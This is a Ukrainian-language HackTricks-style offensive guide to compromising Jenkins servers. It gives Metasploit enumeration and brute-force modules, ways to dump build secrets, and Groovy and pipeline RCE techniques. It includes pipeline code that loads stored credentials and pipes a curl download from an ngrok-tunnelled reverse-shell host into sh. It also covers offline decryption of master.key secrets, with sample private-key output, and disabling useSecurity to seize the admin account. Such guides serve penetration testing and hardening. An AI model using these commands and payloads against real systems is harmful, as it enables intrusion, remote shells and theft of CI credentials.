Jenkins Security

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Основна інформація

Jenkins - це інструмент, який пропонує простий спосіб створення середовища постійної інтеграції або постійної доставки (CI/CD) для майже будь-якої комбінації мов програмування та сховищ коду за допомогою конвеїрів. Крім того, він автоматизує різноманітні рутинні завдання розробки. Хоча Jenkins не усуває потребу у створенні скриптів для окремих кроків, він надає швидший та надійніший спосіб інтеграції всієї послідовності інструментів збірки, тестування та розгортання, ніж можна легко побудувати вручну.

pageBasic Jenkins Information

Неаутентифікована енумерація

Для пошуку цікавих сторінок Jenkins без аутентифікації, таких як (/people або /asynchPeople, які перераховують поточних користувачів), ви можете використовувати:

msf> use auxiliary/scanner/http/jenkins_enum

Перевірте, чи можете ви виконувати команди без необхідності аутентифікації:

msf> use auxiliary/scanner/http/jenkins_command

Без облікових даних ви можете переглянути вміст шляху /asynchPeople/ або /securityRealm/user/admin/search/index?q= для імен користувачів.

Можливо, ви зможете отримати версію Jenkins зі шляху /oops або /error

Відомі вразливості

Вхід

У базовій інформації ви можете перевірити всі способи входу в Jenkins:

pageBasic Jenkins Information

Реєстрація

Ви зможете знайти екземпляри Jenkins, які дозволяють вам створити обліковий запис та увійти в нього. Так просто.

SSO Вхід

Також, якщо функціональність SSO/plugins були присутні, вам слід спробувати увійти до програми за допомогою тестового облікового запису (тобто тестового Github/Bitbucket облікового запису). Хитрість з тут.

Брутфорс

Jenkins не має політики паролю та захисту від брутфорсу імен користувачів. Важливо брутфорсити користувачів, оскільки можуть використовуватися слабкі паролі або імена користувачів як паролі, навіть імена користувачів у зворотному порядку як паролі.

msf> use auxiliary/scanner/http/jenkins_login

Поштовха пароля

Використовуйте цей скрипт Python або цей скрипт PowerShell.

Обхід білого списку IP-адрес

Багато організацій поєднують системи управління джерелами на основі SaaS (SCM), такі як GitHub або GitLab, з внутрішнім, самостійно розгортаним CI рішенням, таким як Jenkins або TeamCity. Ця настройка дозволяє системам CI отримувати події веб-гачків від постачальників контролю версій SaaS, переважно для спрацювання робочих процесів конвеєру.

Для досягнення цього організації включають в білий список діапазони IP-адрес платформ SCM, дозволяючи їм отримувати доступ до внутрішньої системи CI через веб-гачки. Однак важливо зауважити, що будь-хто може створити акаунт на GitHub або GitLab та налаштувати його для спрацювання веб-гачка, потенційно надсилаючи запити до внутрішньої системи CI.

Перевірте: shttps://www.cidersecurity.io/blog/research/how-we-abused-repository-webhooks-to-access-internal-ci-systems-at-scale/

Внутрішні зловживання Jenkins

У цих сценаріях ми будемо припускати, що у вас є дійсний обліковий запис для доступу до Jenkins.

Залежно від налаштованого механізму Авторизації в Jenkins та дозволів компрометованого користувача ви можете або не можете виконати наступні атаки.

Для отримання додаткової інформації перегляньте базову інформацію:

pageBasic Jenkins Information

Перелік користувачів

Якщо ви маєте доступ до Jenkins, ви можете переглянути інших зареєстрованих користувачів за адресою http://127.0.0.1:8080/asynchPeople/

Вивантаження збірок для пошуку текстових секретів

Використовуйте цей скрипт для вивантаження виводів консолі збірок та змінних середовища збірок, щоб, можливо, знайти текстові секрети.

python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v

Викрадення SSH-даних для входу

Якщо компрометований користувач має достатньо привілеїв для створення/зміни нового вузла Jenkins і SSH-дані для доступу до інших вузлів вже збережені, він може викрасти ці дані, створивши/змінивши вузол та встановивши хост, який буде записувати дані для входу без перевірки ключа хоста:

Зазвичай ви знайдете SSH-дані для Jenkins у глобальному постачальнику (/credentials/), тому ви також можете їх витягти, як і будь-яку іншу секретну інформацію. Додаткова інформація в розділі Витягання секретів.

RCE в Jenkins

Отримання оболонки на сервері Jenkins дає зловмиснику можливість витікати всі секрети та змінні середовища та експлуатувати інші машини, що знаходяться в одній мережі або навіть збирати облікові дані хмари.

За замовчуванням Jenkins буде виконуватися як SYSTEM. Таким чином, компрометація надасть зловмиснику привілеї SYSTEM.

RCE Створення/Зміна проекту

Створення/зміна проекту - це спосіб отримати RCE на сервері Jenkins:

pageJenkins RCE Creating/Modifying Project

RCE Виконання Groovy скрипту

Ви також можете отримати RCE, виконавши Groovy скрипт, який може бути більш прихованим, ніж створення нового проекту:

pageJenkins RCE with Groovy Script

RCE Створення/Зміна конвеєра

Ви також можете отримати RCE, створивши/змінивши конвеєр:

pageJenkins RCE Creating/Modifying Pipeline

Експлуатація конвеєра

Для експлуатації конвеєрів вам все ще потрібно мати доступ до Jenkins.

Побудова конвеєрів

Конвеєри також можуть бути використані як механізм побудови в проектах, у цьому випадку може бути налаштований файл всередині репозиторію, який міститиме синтаксис конвеєра. За замовчуванням використовується /Jenkinsfile:

Також можливо зберігати файли конфігурації конвеєра в інших місцях (у інших репозиторіях, наприклад) з метою відокремлення доступу до репозиторію та доступу до конвеєра.

Якщо зловмисник має право на запис у цей файл, він зможе його змінити та потенційно запустити конвеєр, навіть не маючи доступу до Jenkins. Можливо, зловмисникові доведеться обійти деякі захисти гілок (залежно від платформи та привілеїв користувача, їх можна обійти або ні).

Найпоширеніші способи запуску власного конвеєра:

  • Pull request до основної гілки (або, можливо, до інших гілок)

  • Push до основної гілки (або, можливо, до інших гілок)

  • Оновлення основної гілки та очікування, поки воно буде виконано якимось чином

Якщо ви є зовнішнім користувачем, ви не повинні очікувати створення PR до основної гілки репозиторію іншого користувача/організації та запуску конвеєра... але якщо він погано налаштований, ви можете повністю компрометувати компанії, просто експлуатуючи це.

RCE конвеєра

У попередньому розділі RCE вже було вказано техніку для отримання RCE, змінюючи конвеєр.

Перевірка змінних середовища

Можливо оголосити змінні середовища у вигляді чіткого тексту для всього конвеєра або для конкретних етапів. Ці змінні середовища не повинні містити конфіденційної інформації, але зловмисник завжди може перевірити всі конфігурації конвеєра/Jenkinsfiles:

pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {

Витяг секретів

Для отримання інформації про те, як зазвичай обробляються секрети в Jenkins, перегляньте базову інформацію:

pageBasic Jenkins Information

Облікові дані можуть бути обмежені глобальними постачальниками (/credentials/) або конкретними проектами (/job/<project-name>/configure). Тому, щоб витягти всі з них, вам потрібно компрометувати принаймні всі проекти, які містять секрети, і виконати власні/зіпсовані конвеєри.

Є ще одна проблема: для того, щоб отримати секрет всередині env конвеєру, вам потрібно знати назву та тип секрету. Наприклад, якщо ви спробуєте завантажити секрет usernamePassword як секрет типу string, ви отримаєте цю помилку:

ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected

Ось як завантажити деякі типові типи секретів:

withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}

withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}

withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}

# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}

В кінці цієї сторінки ви можете знайти всі типи облікових даних: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/

Найкращий спосіб витягти всі секрети одночасно - це компрометувати машину Jenkins (запустивши зворотний shell, наприклад, на вбудованому вузлі) і потім витікати основні ключі та зашифровані секрети і розшифровувати їх офлайн. Докладніше про це можна дізнатися в розділі Вузли та агенти та в розділі Післяексплуатаційний розділ.

Тригери

З документації: Директива triggers визначає автоматизовані способи, якими повинен бути перезапущений конвеєр. Для конвеєрів, які інтегровані з джерелом, таким як GitHub або BitBucket, triggers можуть бути непотрібні, оскільки інтеграція на основі веб-гачків вже, ймовірно, присутня. Доступні тригери наразі - cron, pollSCM та upstream.

Приклад Cron:

triggers { cron('H */4 * * 1-5') }

Перевірте інші приклади в документації.

Вузли та агенти

Екземпляр Jenkins може мати різні агенти, які працюють на різних машинах. З точки зору атакування, доступ до різних машин означає різні потенційні облікові дані хмари для крадіжки або різний мережевий доступ, який можна використовувати для експлуатації інших машин.

Для отримання додаткової інформації перегляньте базову інформацію:

pageBasic Jenkins Information

Ви можете перелічити налаштовані вузли в /computer/, де зазвичай знайдете **Вбудований вузол ** (який є вузлом, на якому працює Jenkins) та, можливо, ще декілька:

Особливо цікаво скомпрометувати вбудований вузол, оскільки він містить чутливу інформацію Jenkins.

Щоб вказати, що ви хочете запустити конвеєр на вбудованому вузлі Jenkins, ви можете вказати в конвеєрі наступну конфігурацію:

pipeline {
agent {label 'built-in'}

Повний приклад

Пайплайн на конкретному агенті, з тригером cron, зі змінними середовища пайплайну та етапу, завантаженням 2 змінних на кроці та відправленням зворотного шелу:

pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}

stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}

post {
always {
cleanWs()
}
}
}

Післяексплуатаційний етап

Metasploit

msf> post/multi/gather/jenkins_gather

Секрети Jenkins

Ви можете переглянути список секретів, звернувшись до /credentials/, якщо у вас є достатньо дозволів. Зверніть увагу, що це буде лише список секретів у файлі credentials.xml, але файли конфігурації збірки можуть також містити більше секретів.

Якщо ви можете переглядати конфігурацію кожного проекту, ви також можете побачити там назви секретів (паролів), які використовуються для доступу до репозиторію та інші секрети проекту.

З Groovy

pageJenkins Dumping Secrets from Groovy

З диску

Ці файли потрібні для розшифрування секретів Jenkins:

  • secrets/master.key

  • secrets/hudson.util.Secret

Такі секрети зазвичай можна знайти в:

  • credentials.xml

  • jobs/.../build.xml

  • jobs/.../config.xml

Ось регулярний вираз для їх пошуку:

# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"

# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>

Розшифрування секретів Jenkins офлайн

Якщо ви витягли необхідні паролі для розшифрування секретів, скористайтеся цим скриптом для розшифрування цих секретів.

python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT

Розшифрування секретів Jenkins з Groovy

println(hudson.util.Secret.decrypt("{...}"))

Створення нового адміністратора

  1. Отримайте доступ до файлу конфігурації Jenkins у /var/lib/jenkins/config.xml або C:\Program Files (x86)\Jenkins\

  2. Знайдіть слово <useSecurity>true</useSecurity> та змініть слово true на false.

  3. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml

  4. Перезапустіть сервер Jenkins: service jenkins restart

  5. Тепер знову перейдіть на портал Jenkins, і Jenkins не буде запитувати жодних облікових даних на цей раз. Перейдіть до "Керування Jenkins", щоб знову встановити пароль адміністратора.

  6. Увімкніть знову безпеку, змінивши налаштування на <useSecurity>true</useSecurity> і знову перезапустіть Jenkins.

Посилання

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated